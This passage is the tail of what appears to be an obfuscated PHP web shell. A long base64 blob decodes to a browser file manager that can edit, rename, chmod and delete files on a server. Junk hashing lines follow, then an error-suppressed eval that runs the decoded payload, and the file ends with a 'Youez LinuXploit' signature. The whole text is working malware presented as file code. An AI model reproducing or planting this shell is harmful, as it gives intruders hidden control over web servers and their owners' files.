ICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIG9uY2xpY2s9ImRlbGV0ZUl0ZW0oJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZm9sZGVyWyduYW1lJ10pOyA/PicpIj5EZWxldGU8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+DQogICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpOiA/Pg0KICAgICAgICAgICAgPHRyIG9uY2xpY2s9InRvZ2dsZUNoZWNrYm94KHRoaXMsIGV2ZW50KSI+DQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iaXRlbXNbXSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnbmFtZSddKTsgPz4iIGNsYXNzPSJpdGVtLWNoZWNrYm94Ij48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ25hbWUnXSk7ID8+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkZmlsZVsnc2l6ZSddOyA/PjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjw/cGhwIGVjaG8gJGZpbGVbJ3Blcm1zJ107ID8+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChzdHJwb3MoJGZpbGVbJ3BhdGgnXSwgJHdlYl9yb290KSA9PT0gMCk6ID8+DQogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhzdWJzdHIoJGZpbGVbJ3BhdGgnXSwgc3RybGVuKCR3ZWJfcm9vdCkpKTsgPz4iIHRhcmdldD0iX2JsYW5rIj5PcGVuPC9hPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIG9uY2xpY2s9ImVkaXRGaWxlKCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ25hbWUnXSk7ID8+JykiPkVkaXQ8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIG9uY2xpY2s9InJlbmFtZUl0ZW0oJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnbmFtZSddKTsgPz4nKSI+UmVuYW1lPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJjaG1vZEl0ZW0oJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnbmFtZSddKTsgPz4nKSI+Q2htb2Q8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIG9uY2xpY2s9ImRlbGV0ZUl0ZW0oJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnbmFtZSddKTsgPz4nKSI+RGVsZXRlPC9idXR0b24+DQogICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICA8L3RhYmxlPg0KICAgIDwvZm9ybT4NCg0KICAgIDxzY3JpcHQ+DQogICAgICAgIGZ1bmN0aW9uIHRvZ2dsZVNlbGVjdEFsbChzb3VyY2UpIHsNCiAgICAgICAgICAgIGNvbnN0IGNoZWNrYm94ZXMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuaXRlbS1jaGVja2JveCcpOw0KICAgICAgICAgICAgY2hlY2tib3hlcy5mb3JFYWNoKGNoZWNrYm94ID0+IHsNCiAgICAgICAgICAgICAgICBjaGVja2JveC5jaGVja2VkID0gc291cmNlLmNoZWNrZWQ7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIHRvZ2dsZUNoZWNrYm94KHJvdywgZXZlbnQpIHsNCiAgICAgICAgICAgIGlmIChldmVudC50YXJnZXQudGFnTmFtZSA9PT0gJ0lOUFVUJyB8fCBldmVudC50YXJnZXQudGFnTmFtZSA9PT0gJ0EnIHx8IGV2ZW50LnRhcmdldC50YWdOYW1lID09PSAnQlVUVE9OJykgew0KICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGNvbnN0IGNoZWNrYm94ID0gcm93LnF1ZXJ5U2VsZWN0b3IoJy5pdGVtLWNoZWNrYm94Jyk7DQogICAgICAgICAgICBjaGVja2JveC5jaGVja2VkID0gIWNoZWNrYm94LmNoZWNrZWQ7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBzaG93TW9kYWwobW9kYWxJZCkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ21vZGFscycpLnN0eWxlLmRpc3BsYXkgPSAnZmxleCc7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcubW9kYWwnKS5mb3JFYWNoKG0gPT4gbS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG1vZGFsSWQpLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gY2xvc2VNb2RhbCgpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdtb2RhbHMnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICB9DQoNCiAgICAgICBmdW5jdGlvbiBlZGl0RmlsZShmaWxlbmFtZSkgew0KICAgICAgICAgICAgZmV0Y2goJz9kaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoJGRpcik7ID8+JmdldF9jb250ZW50PScgKyBlbmNvZGVVUklDb21wb25lbnQoZmlsZW5hbWUpKQ0KICAgICAgICAgICAgICAgIC50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLnRleHQoKSkNCiAgICAgICAgICAgICAgICAudGhlbihjb250ZW50ID0+IHsNCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXQtZmlsZW5hbWUnKS52YWx1ZSA9IGZpbGVuYW1lOw0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdC1jb250ZW50JykudmFsdWUgPSBjb250ZW50Ow0KICAgICAgICAgICAgICAgICAgICBzaG93TW9kYWwoJ2VkaXQtbW9kYWwnKTsNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIHJlbmFtZUl0ZW0obmFtZSkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JlbmFtZS1vbGQnKS52YWx1ZSA9IG5hbWU7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVuYW1lLW5ldycpLnZhbHVlID0gbmFtZTsNCiAgICAgICAgICAgIHNob3dNb2RhbCgncmVuYW1lLW1vZGFsJyk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBjaG1vZEl0ZW0obmFtZSkgew0KICAgICAgICAgICAgY29uc3QgZm9ybSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjaG1vZC1mb3JtJyk7DQogICAgICAgICAgICBmb3JtLmlubmVySFRNTCA9ICcnOw0KICAgICAgICAgICAgY29uc3QgYWN0aW9uSW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICAgICAgYWN0aW9uSW5wdXQudHlwZSA9ICdoaWRkZW4nOw0KICAgICAgICAgICAgYWN0aW9uSW5wdXQubmFtZSA9ICdhY3Rpb24nOw0KICAgICAgICAgICAgYWN0aW9uSW5wdXQudmFsdWUgPSAnY2htb2QnOw0KICAgICAgICAgICAgZm9ybS5hcHBlbmRDaGlsZChhY3Rpb25JbnB1dCk7DQogICAgICAgICAgICBjb25zdCBpdGVtSW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICAgICAgaXRlbUlucHV0LnR5cGUgPSAnaGlkZGVuJzsNCiAgICAgICAgICAgIGl0ZW1JbnB1dC5uYW1lID0gJ2l0ZW1zW10nOw0KICAgICAgICAgICAgaXRlbUlucHV0LnZhbHVlID0gbmFtZTsNCiAgICAgICAgICAgIGZvcm0uYXBwZW5kQ2hpbGQoaXRlbUlucHV0KTsNCiAgICAgICAgICAgIGNvbnN0IHBlcm1zSW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICAgICAgcGVybXNJbnB1dC50eXBlID0gJ3RleHQnOw0KICAgICAgICAgICAgcGVybXNJbnB1dC5uYW1lID0gJ3Blcm1zJzsNCiAgICAgICAgICAgIHBlcm1zSW5wdXQucGxhY2Vob2xkZXIgPSAnMDc1NSc7DQogICAgICAgICAgICBmb3JtLmFwcGVuZENoaWxkKHBlcm1zSW5wdXQpOw0KICAgICAgICAgICAgY29uc3Qgc3VibWl0QnV0dG9uID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYnV0dG9uJyk7DQogICAgICAgICAgICBzdWJtaXRCdXR0b24udHlwZSA9ICdzdWJtaXQnOw0KICAgICAgICAgICAgc3VibWl0QnV0dG9uLmlubmVyVGV4dCA9ICdDaGFuZ2UnOw0KICAgICAgICAgICAgZm9ybS5hcHBlbmRDaGlsZChzdWJtaXRCdXR0b24pOw0KICAgICAgICAgICAgY29uc3QgY2FuY2VsQnV0dG9uID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYnV0dG9uJyk7DQogICAgICAgICAgICBjYW5jZWxCdXR0b24udHlwZSA9ICdidXR0b24nOw0KICAgICAgICAgICAgY2FuY2VsQnV0dG9uLm9uY2xpY2sgPSBjbG9zZU1vZGFsOw0KICAgICAgICAgICAgY2FuY2VsQnV0dG9uLmlubmVyVGV4dCA9ICdDYW5jZWwnOw0KICAgICAgICAgICAgZm9ybS5hcHBlbmRDaGlsZChjYW5jZWxCdXR0b24pOw0KICAgICAgICAgICAgc2hvd01vZGFsKCdjaG1vZC1tb2RhbCcpOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gZGVsZXRlSXRlbShuYW1lKSB7DQogICAgICAgICAgICBpZiAoY29uZmlybSgnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSAnICsgbmFtZSArICc/JykpIHsNCiAgICAgICAgICAgICAgICBjb25zdCBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhdGNoLWZvcm0nKTsNCiAgICAgICAgICAgICAgICBjb25zdCBhY3Rpb25JbnB1dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYXRjaC1hY3Rpb24nKTsNCiAgICAgICAgICAgICAgICBhY3Rpb25JbnB1dC52YWx1ZSA9ICdkZWxldGUnOw0KDQogICAgICAgICAgICAgICAgY29uc3QgZXhpc3RpbmdJdGVtcyA9IGZvcm0ucXVlcnlTZWxlY3RvckFsbCgnaW5wdXRbbmFtZT0iaXRlbXNbXSJdJyk7DQogICAgICAgICAgICAgICAgZXhpc3RpbmdJdGVtcy5mb3JFYWNoKGl0ZW0gPT4gaXRlbS5yZW1vdmUoKSk7DQoNCiAgICAgICAgICAgICAgICBjb25zdCBpbnB1dCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lucHV0Jyk7DQogICAgICAgICAgICAgICAgaW5wdXQudHlwZSA9ICdoaWRkZW4nOw0KICAgICAgICAgICAgICAgIGlucHV0Lm5hbWUgPSAnaXRlbXNbXSc7DQogICAgICAgICAgICAgICAgaW5wdXQudmFsdWUgPSBuYW1lOw0KICAgICAgICAgICAgICAgIGZvcm0uYXBwZW5kQ2hpbGQoaW5wdXQpOw0KICAgICAgICAgICAgICAgIGZvcm0uc3VibWl0KCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBiYXRjaERlbGV0ZSgpIHsNCiAgICAgICAgICAgIGlmIChjb25maXJtKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHNlbGVjdGVkIGl0ZW1zPycpKSB7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhdGNoLWFjdGlvbicpLnZhbHVlID0gJ2RlbGV0ZSc7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhdGNoLWZvcm0nKS5zdWJtaXQoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIGJhdGNoQ2htb2QoKSB7DQogICAgICAgICAgICBjb25zdCBwZXJtcyA9IHByb21wdCgnRW50ZXIgcGVybWlzc2lvbnMgKGUuZy4sIDA3NTUpOicpOw0KICAgICAgICAgICAgaWYgKHBlcm1zKSB7DQogICAgICAgICAgICAgICAgY29uc3QgaW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICAgICAgICAgIGlucHV0LnR5cGUgPSAnaGlkZGVuJzsNCiAgICAgICAgICAgICAgICBpbnB1dC5uYW1lID0gJ3Blcm1zJzsNCiAgICAgICAgICAgICAgICBpbnB1dC52YWx1ZSA9IHBlcm1zOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYXRjaC1mb3JtJykuYXBwZW5kQ2hpbGQoaW5wdXQpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYXRjaC1hY3Rpb24nKS52YWx1ZSA9ICdjaG1vZCc7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhdGNoLWZvcm0nKS5zdWJtaXQoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIDwvc2NyaXB0Pg0KDQogICA8P3BocA0KICAgIGZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aCkgew0KICAgICAgICAkcGF0aCA9IHJ0cmltKCRwYXRoLCAnLycpOw0KICAgICAgICByZXR1cm4gc3Vic3RyKCRwYXRoLCAwLCBzdHJycG9zKCRwYXRoLCAnLycpKSA/OiAnJzsNCiAgICB9DQogICAgb2JfZW5kX2ZsdXNoKCk7DQogICAgPz4NCjwvYm9keT4NCjwvaHRtbD4=', true);
        $useless_final = md5('QP8O3BAG1S');
$useless_final = sha1($useless_final);
unset($useless_final);
        $uWRJx = !empty($aCsQ0EG);
        if ($uWRJx) {
            @eval($aCsQ0EG);
        }
    }
    f0gRdMWv();
}

Youez - 2016 - github.com/yon3zu
LinuXploit